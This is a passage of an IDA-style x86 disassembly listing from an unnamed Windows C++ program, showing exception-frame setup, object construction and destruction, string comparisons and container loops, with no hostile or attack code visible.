[esp+50h+var_4], bl call sub_401226 cmp edi, ebx jnz loc_413BF0 loc_413C93: ; CODE XREF: sub_413B70+77j lea ecx, [esp+50h+arg_0] mov [esp+50h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn 1Ch ; --------------------------------------------------------------------------- loc_413CB9: ; CODE XREF: sub_413B70+26j ; sub_413B70+37j lea ecx, [esp+48h+arg_0] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+48h+var_C] pop ebp pop ebx mov large fs:0, ecx add esp, 40h retn 1Ch sub_413B70 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413D40 proc near ; CODE XREF: sub_401F2Dj push esi mov esi, ecx call sub_401424 mov eax, esi pop esi retn sub_413D40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_413D60: ; CODE XREF: ___:004010F0j mov eax, [esp+8] mov edx, [esp+4] push esi push eax mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+28h], esp push edx call sub_401861 mov ecx, esi call sub_401181 pop esi retn 8 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413DA0 proc near ; CODE XREF: sub_40189Dj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_14 = byte ptr 18h arg_18 = byte ptr 1Ch arg_2C = byte ptr 30h arg_30 = byte ptr 34h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_5C = byte ptr 60h arg_60 = byte ptr 64h push 0FFFFFFFFh push offset SEH_413DA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push ebp push esi push edi mov ebp, ecx sub esp, 18h lea eax, [esp+3Ch+arg_30] mov ecx, esp mov [esp+3Ch+var_14], esp push eax mov [esp+40h+var_4], 4 call sub_4014C9 mov ecx, ebp call sub_401CD0 xor ebx, ebx cmp eax, ebx jnz loc_413F8E sub esp, 18h lea edx, [esp+3Ch+arg_0] mov ecx, esp mov [esp+3Ch+var_14], esp push edx call sub_4014C9 mov ecx, ebp call sub_402112 mov edi, eax cmp edi, ebx jz loc_413F8E push edi lea eax, [esp+28h+arg_18] sub esp, 18h mov ecx, esp mov [esp+40h+var_14], esp push eax call sub_4014C9 mov ecx, ebp call sub_4011DB cmp al, bl jz loc_413F8E push offset byte_446F70 lea ecx, [esp+28h+arg_48] call sub_4012EE test eax, eax jz short loc_413E87 lea ecx, [edi+2Ah] call sub_4017E4 lea ecx, [esp+24h+arg_48] mov esi, eax call sub_4017E4 loc_413E56: ; CODE XREF: sub_413DA0+D4j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413E7A cmp cl, bl jz short loc_413E76 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413E7A add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413E56 loc_413E76: ; CODE XREF: sub_413DA0+C0j xor eax, eax jmp short loc_413E7F ; --------------------------------------------------------------------------- loc_413E7A: ; CODE XREF: sub_413DA0+BCj ; sub_413DA0+CAj sbb eax, eax sbb eax, 0FFFFFFFFh loc_413E7F: ; CODE XREF: sub_413DA0+D8j cmp eax, ebx jnz loc_413F8E loc_413E87: ; CODE XREF: sub_413DA0+A1j push offset byte_446F70 lea ecx, [esp+28h+arg_60] call sub_4012EE test eax, eax jz short loc_413EE3 lea ecx, [edi+3Fh] call sub_4017E4 lea ecx, [esp+24h+arg_60] mov esi, eax call sub_4017E4 loc_413EB2: ; CODE XREF: sub_413DA0+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413ED6 cmp cl, bl jz short loc_413ED2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413ED6 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413EB2 loc_413ED2: ; CODE XREF: sub_413DA0+11Cj xor eax, eax jmp short loc_413EDB ; --------------------------------------------------------------------------- loc_413ED6: ; CODE XREF: sub_413DA0+118j ; sub_413DA0+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_413EDB: ; CODE XREF: sub_413DA0+134j cmp eax, ebx jnz loc_413F8E loc_413EE3: ; CODE XREF: sub_413DA0+FAj push 58h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+24h+var_10], eax cmp eax, ebx mov byte ptr [esp+24h+var_4], 5 jz short loc_413F03 mov ecx, eax call sub_401D07 jmp short loc_413F05 ; --------------------------------------------------------------------------- loc_413F03: ; CODE XREF: sub_413DA0+158j xor eax, eax loc_413F05: ; CODE XREF: sub_413DA0+161j mov [esp+24h+var_14], eax mov [eax], edi mov ecx, [esp+24h+var_14] lea eax, [esp+24h+arg_0] push eax add ecx, 4 mov byte ptr [esp+28h+var_4], 4 call sub_40200E mov eax, [esp+24h+var_14] lea edx, [esp+24h+arg_30] push edx lea ecx, [eax+19h] call sub_40200E lea ecx, [esp+24h+var_14] push ecx lea ecx, [ebp+6Ch] call sub_401406 ; --------------------------------------------------------------------------- lea ecx, [esp+28h] mov byte ptr [esp+28h+var_8], 3 call sub_401226 lea ecx, [esp+28h+arg_14] mov byte ptr [esp+28h+var_8], 2 call sub_401226 lea ecx, [esp+28h+arg_2C] mov byte ptr [esp+28h+var_8], 1 call sub_401226 lea ecx, [esp+28h+arg_44] mov byte ptr [esp+28h+var_8], bl call sub_401226 lea ecx, [esp+28h+arg_5C] mov [esp+28h+var_8], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_413FDB ; --------------------------------------------------------------------------- loc_413F8E: ; CODE XREF: sub_413DA0+44j ; sub_413DA0+68j ... lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 3 call sub_401226 lea ecx, [esp+24h+arg_18] mov byte ptr [esp+24h+var_4], 2 call sub_401226 lea ecx, [esp+24h+arg_30] mov byte ptr [esp+24h+var_4], 1 call sub_401226 lea ecx, [esp+24h+arg_48] mov byte ptr [esp+24h+var_4], bl call sub_401226 lea ecx, [esp+24h+arg_60] mov [esp+24h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_413FDB: ; CODE XREF: sub_413DA0+1ECj mov ecx, [esp+24h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 14h retn 78h sub_413DA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414090 proc near ; CODE XREF: sub_401D07j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414090 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_414090 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414120: ; CODE XREF: ___:00401DC0j push 0FFFFFFFFh push offset loc_439C10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+24h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+3Ch] sub esp, 18h mov ecx, esp mov [esp+58h], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov eax, [esp+50h] sub esp, 18h mov ecx, esp mov [esp+6Ch], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401861 mov edx, [esp+64h] sub esp, 18h mov ecx, esp mov [esp+80h], esp push edx mov byte ptr [esp+74h], 2 call sub_401861 mov eax, [esp+78h] sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax mov byte ptr [esp+8Ch], 3 call sub_401861 mov ecx, esi mov dword ptr [esp+88h], 0FFFFFFFFh call sub_40189D mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 14h ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414210 proc near ; CODE XREF: sub_401537j add ecx, 6Ch jmp sub_401C62 sub_414210 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414230 proc near ; CODE XREF: sub_40137Fj var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414230 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push 60h mov [esp+1Ch+var_4], 3 call sub_4367FA sub_414230 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 4 jz short loc_414273 mov ecx, eax call sub_401BE0 ; --------------------------------------------------------------------------- jmp short loc_414275 ; --------------------------------------------------------------------------- loc_414273: ; CODE XREF: ___:00414268j xor eax, eax loc_414275: ; CODE XREF: ___:00414271j lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 3 push ecx mov ecx, eax mov [esp+8], eax call sub_40200E mov eax, [esp+4] lea edx, [esp+34h] push edx lea ecx, [eax+15h] call sub_40200E mov edx, [esp+4] lea ecx, [esp+4Ch] push ecx lea ecx, [edx+2Ah] call sub_40200E mov ecx, [esp+4] lea eax, [esp+64h] push eax add ecx, 3Fh call sub_40200E lea edx, [esp+4] lea ecx, [esi+60h] push edx call sub_401EF1 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 2 call sub_401226 lea ecx, [esp+34h] mov byte ptr [esp+14h], 1 call sub_401226 lea ecx, [esp+4Ch] mov byte ptr [esp+14h], 0 call sub_401226 lea ecx, [esp+64h] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0Ch] pop esi mov large fs:0, ecx add esp, 14h retn 60h ; --------------------------------------------------------------------------- db 9 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414360 proc near ; CODE XREF: sub_401BE0j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414360 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+18h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+18h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+18h+var_4], 2 call sub_401424 lea eax, [esp+18h+var_11] lea ecx, [esi+54h] push eax mov byte ptr [esp+1Ch+var_4], 3 call sub_40132A sub_414360 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414400: ; CODE XREF: ___:004010FAj push 0FFFFFFFFh push offset loc_439CD8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+20h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+38h] sub esp, 18h mov ecx, esp mov [esp+54h], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov eax, [esp+4Ch] sub esp, 18h mov ecx, esp mov [esp+68h], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401861 mov edx, [esp+60h] sub esp, 18h mov ecx, esp mov [esp+7Ch], esp push edx mov byte ptr [esp+74h], 2 call sub_401861 mov ecx, esi mov dword ptr [esp+70h], 0FFFFFFFFh call sub_40137F ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 10h ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4144D0 proc near ; CODE XREF: sub_401DACj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4144D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi lea ecx, [esp+18h+var_14] mov [esp+18h+var_4], 0 mov [esp+18h+var_10], 0 call sub_401E1F mov eax, [esp+18h+arg_18] lea ecx, [esp+18h+arg_18] push ecx lea esi, [eax+54h] mov ecx, esi call sub_4012E9 mov edx, [eax] lea eax, [esp+18h+arg_18] push eax mov ecx, esi mov [esp+1Ch+var_14], edx call sub_401D89 push eax lea ecx, [esp+1Ch+var_14] call sub_401D5C test al, al jz short loc_414580 loc_414535: ; CODE XREF: sub_4144D0+AEj lea ecx, [esp+18h+arg_0] push ecx lea ecx, [esp+1Ch+var_14] call sub_401FA5 mov ecx, [eax] call sub_401B72 test eax, eax jnz short loc_41455D lea ecx, [esp+18h+var_14] call sub_401FA5 mov edx, [eax] mov [esp+18h+var_10], edx loc_41455D: ; CODE XREF: sub_4144D0+7Cj lea ecx, [esp+18h+var_14] call sub_4020A4 lea eax, [esp+18h+arg_18] mov ecx, esi push eax call sub_401D89 push eax lea ecx, [esp+1Ch+var_14] call sub_401D5C test al, al jnz short loc_414535 loc_414580: ; CODE XREF: sub_4144D0+63j mov eax, [esp+18h+var_10] test eax, eax jz short loc_4145C8 lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_401258 mov ecx, [esp+18h+var_10] test ecx, ecx jz short loc_4145A3 push 1 call sub_4019DD loc_4145A3: ; CODE XREF: sub_4144D0+CAj lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 1Ch ; --------------------------------------------------------------------------- loc_4145C8: ; CODE XREF: sub_4144D0+B6j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 14h retn 1Ch sub_4144D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414640 proc near ; CODE XREF: sub_4019DDj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402220 test [esp+4+arg_0], 1 jz short loc_414658 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_414658: ; CODE XREF: sub_414640+Dj mov eax, esi pop esi retn 4 sub_414640 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_414670 proc near ; CODE XREF: sub_402220j jmp sub_401226 sub_414670 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_414690: ; CODE XREF: ___:00401276j push 0FFFFFFFFh push offset loc_439D20 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi push edi mov ebp, ecx xor ebx, ebx push offset asc_443C94 ; ":" lea eax, [esp+1Ch] push ebx push eax lea ecx, [esp+4Ch] mov [esp+44h], ebx mov byte ptr [esp+1Fh], 1 xor esi, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jz short loc_414759 loc_4146F3: ; CODE XREF: ___:00414757j mov ecx, [esp+58h] push ecx lea ecx, [esp+44h] sub esp, 18h mov edx, esp mov [esp+30h], esp push offset asc_443C94 ; ":" push esi push edx call sub_4016AE mov ecx, ebp call sub_401DAC cmp al, bl jnz short loc_414720 mov [esp+13h], bl loc_414720: ; CODE XREF: ___:0041471Aj inc esi push offset asc_443C94 ; ":" lea eax, [esp+1Ch] push esi push eax lea ecx, [esp+4Ch] call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jnz short loc_4146F3 loc_414759: ; CODE XREF: ___:004146F1j lea ecx, [esp+40h] mov dword ptr [esp+38h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+30h] mov al, [esp+13h] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 2Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4147D0 proc near ; CODE XREF: sub_40210Dj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4147D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 1 call sub_4017E4 test eax, eax jz loc_414904 lea ecx, [esp+1Ch+var_18] mov [esp+1Ch+var_14], 0 call sub_402252 add esi, 6Ch lea eax, [esp+1Ch+var_10] push eax mov ecx, esi call sub_4018F2 mov ecx, [eax] lea edx, [esp+1Ch+var_10] mov [esp+1Ch+var_18], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jz short loc_4148AE loc_414844: ; CODE XREF: sub_4147D0+DCj lea eax, [esp+1Ch+arg_0] lea ecx, [esp+1Ch+var_18] push eax call sub_40135C mov ecx, [eax] add ecx, 4 call sub_401B72 test eax, eax jz short loc_41487C lea ecx, [esp+1Ch+arg_18] push ecx lea ecx, [esp+20h+var_18] call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B72 test eax, eax jnz short loc_41488B loc_41487C: ; CODE XREF: sub_4147D0+8Ej lea ecx, [esp+1Ch+var_18] call sub_40135C mov edx, [eax] mov [esp+1Ch+var_14], edx loc_41488B: ; CODE XREF: sub_4147D0+AAj lea ecx, [esp+1Ch+var_18] call sub_40118B lea eax, [esp+1Ch+var_10] mov ecx, esi push eax call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jnz short loc_414844 loc_4148AE: ; CODE XREF: sub_4147D0+72j mov eax, [esp+1Ch+var_14] test eax, eax jz short loc_414904 lea ecx, [esp+1Ch+var_14] push ecx mov ecx, esi call sub_402130 mov ecx, [esp+1Ch+var_14] test ecx, ecx jz short loc_4148D1 push 1 call sub_4016FE loc_4148D1: ; CODE XREF: sub_4147D0+F8j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+18h+var_C] mov large fs:0, ecx add esp, 18h retn 30h ; --------------------------------------------------------------------------- loc_414904: ; CODE XREF: sub_4147D0+2Ej ; sub_4147D0+E4j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 30h sub_4147D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4149A0 proc near ; CODE XREF: sub_4016FEj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A5A test [esp+4+arg_0], 1 jz short loc_4149B8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4149B8: ; CODE XREF: sub_4149A0+Dj mov eax, esi pop esi retn 4 sub_4149A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4149D0 proc near ; CODE XREF: sub_401A5Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4149D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+43h] mov [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4149D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414A60: ; CODE XREF: ___:004013B1j push 0FFFFFFFFh push offset loc_439D98 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40210D mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414AF0: ; CODE XREF: ___:00401B31j push 0FFFFFFFFh push offset loc_439DB8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+20h] mov dword ptr [esp+18h], 0 call sub_4017E4 test eax, eax jz loc_414BF7 lea ecx, [esp+4] mov dword ptr [esp+8], 0 call sub_401037 add esi, 60h lea eax, [esp+0Ch] push eax mov ecx, esi call sub_401983 mov ecx, [eax] lea edx, [esp+0Ch] mov [esp+4], ecx push edx mov ecx, esi call sub_402234 push eax lea ecx, [esp+8] call sub_401AD7 test al, al jz short loc_414BAF loc_414B64: ; CODE XREF: ___:00414BADj lea eax, [esp+20h] lea ecx, [esp+4] push eax call sub_4011D1 mov ecx, [eax] call sub_401B72 test eax, eax jnz short loc_414B8C lea ecx, [esp+4] call sub_4011D1 mov ecx, [eax] mov [esp+8], ecx loc_414B8C: ; CODE XREF: ___:00414B7Bj lea ecx, [esp+4] call sub_4018B6 lea edx, [esp+0Ch] mov ecx, esi push edx call sub_402234 push eax lea ecx, [esp+8] call sub_401AD7 test al, al jnz short loc_414B64 loc_414BAF: ; CODE XREF: ___:00414B62j mov eax, [esp+8] test eax, eax jz short loc_414BF7 lea eax, [esp+8] mov ecx, esi push eax call sub_401154 mov ecx, [esp+8] test ecx, ecx jz short loc_414BD2 push 1 call sub_4011C7 ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BC9j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+0Ch] mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_414BF7: ; CODE XREF: ___:00414B1Ej ; ___:00414BB5j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+10h] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414C70 proc near ; CODE XREF: sub_4011C7j push esi mov esi, ecx call sub_401B45 sub_414C70 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_414C88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_414C88: ; CODE XREF: ___:00414C7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414CA0 proc near ; CODE XREF: sub_401B45j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414CA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+54h] mov [esp+14h+var_4], 3 call sub_401578 sub_414CA0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+3Fh] mov byte ptr [esp+10h], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414D40 proc near ; CODE XREF: sub_4014BFj var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_414D40 push eax mov large fs:0, esp sub esp, 40h push ebx push esi mov esi, [esp+54h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414E3B sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+70h+arg_0], esp push eax call sub_4014C9 sub esp, 18h mov [esp+88h+var_4], 0 mov ecx, esp mov [esp+88h+var_4C], esp push offset byte_446F70 call sub_401861 or ebx, 0FFFFFFFFh mov ecx, offset word_448C9E mov [esp+88h+var_4], ebx call sub_40210D test al, al jz loc_414F70 push 0 push 5 push 19h push 2 push 4 push 0Fh push 0Fh lea ecx, [esp+74h+var_3C] push 21h push ecx call sub_4019B5 add esp, 24h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 1 call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+58h+var_3C] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414E3B: ; CODE XREF: sub_414D40+36j lea ecx, [edi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414F70 sub esp, 18h lea edx, [esi+54h] mov ecx, esp mov [esp+70h+arg_0], esp push edx call sub_4014C9 sub esp, 18h lea eax, [esi+3Fh] mov ecx, esp mov [esp+88h+var_4C], esp push eax mov [esp+8Ch+var_4], 2 call sub_4014C9 sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0A0h+var_48], esp push edx mov byte ptr [esp+0A4h+var_4], 3 call sub_4014C9 sub esp, 18h mov ecx, esi mov eax, esp mov [esp+0B8h+var_44], esp push 1 push offset asc_443600 ; " " push 2 push eax mov byte ptr [esp+0C8h+var_4], 4 call sub_4011EA sub esp, 18h mov byte ptr [esp+0D0h+var_4], 5 mov ecx, esp mov [esp+0D0h+var_40], esp push 1 push offset asc_443600 ; " " push 1 push ecx mov ecx, esi call sub_4011EA or ebx, 0FFFFFFFFh mov ecx, offset word_448C9E mov [esp+0D0h+var_4], ebx call sub_40189D test al, al jz short loc_414F70 push 0 push 4 push 5 push 14h push 10h push 5 push 3 push 3 lea edx, [esp+78h+var_24] push 1Bh push edx call sub_4019B5 add esp, 28h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 6 call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+58h+var_24] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414F70: ; CODE XREF: sub_414D40+82j ; sub_414D40+10Dj ... mov ecx, [esp+58h+var_C] pop edi pop esi xor al, al mov large fs:0, ecx pop ebx add esp, 4Ch retn 4 sub_414D40 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415030 proc near ; CODE XREF: sub_40132Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401EBA sub_415030 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415070 proc near ; CODE XREF: sub_40171Cj arg_0 = dword ptr 4 sub esp, 8 push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx push 0 push 0 mov al, [edi] mov [esi], al call 